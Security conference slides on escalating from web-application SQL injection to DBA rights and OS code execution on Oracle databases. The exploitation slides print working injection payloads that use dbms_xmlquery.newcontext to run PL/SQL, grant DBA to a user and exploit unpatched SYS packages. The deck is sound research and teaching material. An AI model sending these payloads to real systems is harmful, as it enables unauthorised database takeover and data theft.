New and improved hacking oracle from web apps sumit sidharth

NEW AND IMPROVED:
HACKING ORACLE FROM WEB

Sumit “sid” Siddharth
7Safe Limited
UK

About 7Safe

 Part of PA Consulting Group
 Security Services
 Penetration testing
 PCI-DSS
 Forensics
 Training
 E-discovery

About Me

 Head of Penetration Testing@7Safe
 Specialising in Application and Database
Security
 Speaker at Black Hat, DEFCON, OWASP
Appsec etc
 Not an Oracle Geek
 Blog: www.notsosecure.com
 Twitter: notsosecure

Prelude

 There are a number of talks on hacking oracle
 Mostly it comes down to exploiting a
vulnerable package which comes with Oracle
 What about web?
 How do we exploit a web app which has a SQL
Injection and is communicating with an Oracle back-
end database?
 By exploitation I don’t mean data extraction, I mean
OS code execution (aka xp_cmdshell)

Credit to..

 The talk presents the work of a number of
Oracle security researchers in the context of
web application security.
 Specially David Litchfield and Esteban
 Other researchers we would like to thank:
 Alexander Kornbrust
 FerruhMavituna

Oracle Privileges- 101

 Oracle database installation comes with a
number of default packages, procedures,
functions etc.
 By default these procedures/functions run
with the privilege of definer
 To change the execution privileges from
definer to invoker keyword AUTHID
CURRENT_USER must be defined

Hacking Oracle from Network

 If there is a SQL Injection in a procedure
owned by SYS and PUBLIC has execute
privileges, then its “game over”…

Owning Oracle over network

 Enumerate SID
 Enumerate users
 Connect to Oracle
 Exploit SQL injection in a procedure owned
by SYS
 Become DBA
 Execute OS Code

Metasploit is your friend…

Owning Oracle from
network....
 E.g.
 exec SYS.LT.MERGEWORKSPACE(‘foobar''
and SCOTT.DBA()=''Y');
 The function SCOTT. DBA() will be executed
by SYS as it is called by the procedure
 SCOTT.DBA() has AUTHID CURRENT_USER
defined

Hacking Oracle from Web- 101

 What happens when you find a SQL Injection
in a web app which talks to Oracle database?
 Of-course SQL Injection is bad (remember
SONY!)
 But how bad is it?
 Can we pwn oralce in the same way as we do over
the network
 Can we escalate our privs and become DBA
 Can we execute OS code

SQL In Oracle

 SQL is a limited language that allows you to
directly interact with the database.
 You can write queries (SELECT), manipulate
data and objects (DDL, DML) with SQL.
However, SQL doesn't include all the things
that normal programming languages have,
such as loops and IF...THEN...ELSE
statements.
 Most importantly, SQL does not support
execution of multiple statements.

SQL In Oracle....

 SQL in Oracle does not support execution of
multiple statements.
 OS code execution is not as simple as
executing xp_cmdshell in MSSQL.
 Not enough documentation on which exploits
can be used from web applications.
 Not many publicly available tools for
exploiting Oracle SQL Injections.

Hacking Oracle from web:
Part 1
 Last year I released a paper which talks about
different attack vectors which can be used in
different scenarios
 Lets have a quick look at some of this

Executing multiple
statements in SQL
 Only option is to find functions which lets us
do this:
 Select * from tbl where id =‘1’ and (select
scott.func(‘begin statement 1;statement 2
;end;’) from dual)= ‘a’--’
 The function can execute an anonymous
PL/SQL block either as a feature or as a bug.
 Thank fully Oracle has some default functions
which let’s you do this...

DBA Privileges

 Function:
SYS.KUPP$PROC.CREATE_MASTER_PRO
CESS()
 Function executes arbitrary PL/SQL
 Only DBA can call this function
 Executes any PL/SQL statement.
 Call DBMS_scheduler to run OS code

JAVA IO Privileges

 Functions:
 DBMS_JAVA.RUNJAVA()
 11g R1 and R2
 DBMS_JAVA_TEST.FUNCALL()
 10g R2, 11g R1 and R2
 Java class allowing OS code execution by
default
–oracle/aurora/util/Wrapper

DEMO: OS Code Execution with
JAVA IO Permissions

So, what’s new

 If you have either DBA role or JAVA IO privs
then its pretty much game over
 What if you don’t have these?
 Can we not exploit vulnerable packages and
become DBA anyways just as we would do
while hacking oracle from n/w

2 functions which change
everything..
 dbms_xmlquery.newcontext()
 dbms_xmlquery.getxml()
 These 2 functions are available from Oracle 9i to
11g R2
 Functions are executable by PUBLIC
 AUTHID CURRENT_USER
 Allow execution of PL/SQL Statement

So, what can you do with
these
 Although these functions are marked
AUTHID CURRENT_USER you can still do
stuff like:
 Exploit any vulnerable database object and
escalate permissions

Example

 Consider a SQL Injection in an un-patched
Oracle database
 The app connects to database with a user
which has minimum privileges
 The database has missing CPU (nothing
unusual)
 Exploit the vulnerability patched by CPU
 Become dba, execute code, pwn stuff.....

dbms_xmlquery.newcontext
select dbms_xmlquery.newcontext('declare PRAGMA
AUTONOMOUS_TRANSACTION; begin execute immediate ''any
pl/sql statement ''; commit; end;') from dual

http://vuln/index.php?id=1 and
(select dbms_xmlquery.newcontext(‘
declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate ''create or replace function
pwn return varchar2 authid current_user is PRAGMA
autonomous_transaction;BEGIN execute immediate
''''grant dba to scott'''';commit;return ''''z'''';END; '';
commit; end;‘) from dual) is not null --

Example#1 SYS.LT.
CREATEWORKSPACE (CPU April
2009)
 Exploit vulnerable procedure to become DBA
 http://vuln/index.php?id=1 and (select
dbms_xmlquery.newcontext('declare PRAGMA
AUTONOMOUS_TRANSACTION; begin execute
immediate ''
begin SYS.LT.CREATEWORKSPACE(''''A10''''''''
and
scott.pwn()=''''''''x'''');SYS.LT.REMOVEWORKSPA
CE(''''A10'''''''' and scott.pwn()=''''''''x'''');end;'';
commit; end;') from dual) is not null --

Exploiting 11g R2

 Similarly we can now exploit any vulnerable
package within 11g R2

 sys.dbms_cdc_publish.create_change_set
 CPU: October 2010, 10gR1, 10gR2, 11g R1 and
11gR2

Exploiting 11g R2

 select dbms_xmlquery.newcontext('declare
PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate '' begin
sys.dbms_cdc_publish.create_change_set(''''
a'''',''''a'''',''''a''''''''||scott.pwn2()||''''''''a'''',''''Y'''',s
ysdate,sysdate);end;''; commit; end;') from
dual

Indirect Privilege
Escalation
 Using these functions we can call indirect
privilege escalation vectors from web apps
 Become DBA from
 Create ANY Trigger
 CREATE ANY Procedure
 CREATE ANY VIEW
 Etc.....

Summary

 You can use the 2 functions to exploit any
vulnerability within the back-end database
from web to become DBA.
 The vulnerability can be in
 custom code
 Code shipped with Oracle (missing CPU)
 0 day
 Indirect privilege escalation
 After you become DBA you can execute OS
code.

Thank You

 Questions?
 Contact: Sid@pentest.7safe.com
 Twitter: notsosecure
 Blog: www.notsosecure.com

New and improved hacking oracle from web apps sumit sidharth

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